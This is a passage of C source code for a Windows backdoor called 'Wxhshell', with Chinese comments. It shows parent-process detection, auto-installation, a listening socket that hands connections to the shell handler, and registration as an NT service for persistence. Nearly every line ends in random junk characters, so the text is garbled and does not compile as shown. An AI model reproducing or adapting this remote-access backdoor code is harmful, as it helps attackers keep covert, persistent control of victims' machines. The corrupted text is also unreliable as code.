ULONG UniqueProcessId; zj0pP{y
ULONG InheritedFromUniqueProcessId; ?>Ci`XlLr
} PROCESS_BASIC_INFORMATION; w2_I/s6B
b8xfV{3 L
PROCNTQSIP NtQueryInformationProcess; nT6iS}h
"MKsSty
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `rFGSq$9
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EwJn1Mvq
;
yC`5
HANDLE hProcess; aIyY%QT
PROCESS_BASIC_INFORMATION pbi; MhXm-<4
5+PBS)pJ]%
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /VOST^z!
if(NULL == hInst ) return 0; RAJ|#I1
Kwmo)|7uPU
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;bu;t#
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XsCbJ[Z_?q
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8YkH
|zegnq~
if (!NtQueryInformationProcess) return 0; !)1Zp*
>@\?\!Go
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e(5Px!B
if(!hProcess) return 0; yH0ZSv
'g,
x}6
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]$%4;o4O
>LZ)<-Mk
CloseHandle(hProcess); `RLrT34
bao5^t}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JHOBg{Wg
if(hProcess==NULL) return 0; 2:0Y'\nn
V)?g4M3}
HMODULE hMod; i(#c
Yb
char procName[255]; rm;"98~zJ?
unsigned long cbNeeded; , X+(wp
ed2&9E>9b
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x@l~*6!K
^qy-el
CloseHandle(hProcess); *y$r y]
c7N9X 3A
if(strstr(procName,"services")) return 1; // 以服务启动 SQ.Wj?W)
Dy'l]vN$
return 0; // 注册表启动 qt;Tfuo
} V'4}9J
e;Z`&
// 主模块 =C}<0<"iF
int StartWxhshell(LPSTR lpCmdLine) L*Cf&c`8r
{ qf {B
SOCKET wsl; Z-V%lRQ=b
BOOL val=TRUE; LR.+CxQ
int port=0; '.v^seU
struct sockaddr_in door; *g}&&$b0
XsMphZnK
if(wscfg.ws_autoins) Install(); Lu5.$b
1F8EL)9
port=atoi(lpCmdLine); -w0>4JDs
y`dzo`f
if(port<=0) port=wscfg.ws_port; I=-;*3g6
73<yrBxp
WSADATA data; `a9>4
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U Bg_b?k
*a.*Ha
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; kV<)>Gs
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2C&%UZim;P
door.sin_family = AF_INET; d+)L\
`4
door.sin_addr.s_addr = inet_addr("127.0.0.1"); q{(&:~M
door.sin_port = htons(port); !Z)^c&
b
DvbM
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eF\C?4
closesocket(wsl); J4X35H=Z
return 1; <5^(l$IBj
} !d)i6W?
?5gpk1
if(listen(wsl,2) == INVALID_SOCKET) { EF~PM
closesocket(wsl); pdu
return 1; ' qVa/GJ
} Xqw7lj;K
Wxhshell(wsl); Mb!^_cS(
WSACleanup(); =hlu,
B y
bS6Yi)p
return 0; V0(ABi:d
1\kehCt
} u'."E7o#
GC3L2C0)k
// 以NT服务方式启动 8B9zo&
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4Fq}*QJ-
{ 3I(M<sB}
DWORD status = 0; WGK::?
DWORD specificError = 0xfffffff; >c eU!=>
]vErF=[U,
serviceStatus.dwServiceType = SERVICE_WIN32; ';F][x 5j
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 1>{(dd?L
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }5Uf`pM8
serviceStatus.dwWin32ExitCode = 0; 6Fb~`J~s
serviceStatus.dwServiceSpecificExitCode = 0; dG+xr!
serviceStatus.dwCheckPoint = 0; EUqG"h5#A{
serviceStatus.dwWaitHint = 0; z`SkKn0f
Y
j&5Xjl>4
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :Yqa[._AF
if (hServiceStatusHandle==0) return; _Ohq'ZgXm
aoS1Yt'@
status = GetLastError(); r0>T7yPAK
if (status!=NO_ERROR) 3\7$)p+c
{ qiN'Tuw9
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2B;QS\e"
serviceStatus.dwCheckPoint = 0; ?YO%]mTP
serviceStatus.dwWaitHint = 0; iI7~9SCE
serviceStatus.dwWin32ExitCode = status; ,,gYU_V
serviceStatus.dwServiceSpecificExitCode = specificError; !NjE5USi
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y}Uw7\e
return; x
,W+:l9~s
} sn%fE
kF .b)
serviceStatus.dwCurrentState = SERVICE_RUNNING; 70eN]OY
serviceStatus.dwCheckPoint = 0; :Ib\v88WIv
serviceStatus.dwWaitHint = 0; d\M
!o*U
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jK53-tF~I
} <5%We(3
htaLOTO;A
// 处理NT服务事件,比如:启动、停止 J;dFmZOk
VOID WINAPI NTServiceHandler(DWORD fdwControl) u!W00;`L
{ iqeGy&F-
switch(fdwControl) }p~%GA.=98
{ 5"U7I{\
case SERVICE_CONTROL_STOP: S y~ 1U
serviceStatus.dwWin32ExitCode = 0; K#@FKv|("
serviceStatus.dwCurrentState = SERVICE_STOPPED; r^)<Jy0|r
serviceStatus.dwCheckPoint = 0; =B1!em|
serviceStatus.dwWaitHint = 0; WW=7QCi
{ \ :.p8`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); D5x^O2
} ,PYe7c
return; }{J8U2])k
case SERVICE_CONTROL_PAUSE: p(Mv^ea
serviceStatus.dwCurrentState = SERVICE_PAUSED; ;f
Gi5=-
break; 4tjRju?
case SERVICE_CONTROL_CONTINUE: Hw?
J1#1IE
serviceStatus.dwCurrentState = SERVICE_RUNNING; lRb)Tz6SE
break; |a+8-@-Tj
case SERVICE_CONTROL_INTERROGATE: 2 6A#X
break; R#>E{[9
}; "5Mo%cUp
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <>TBM^
} yyc&'J
3B+Rx;>h
// 标准应用程序主函数 iKwVYL
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .PgkHb=l@
{ ^&By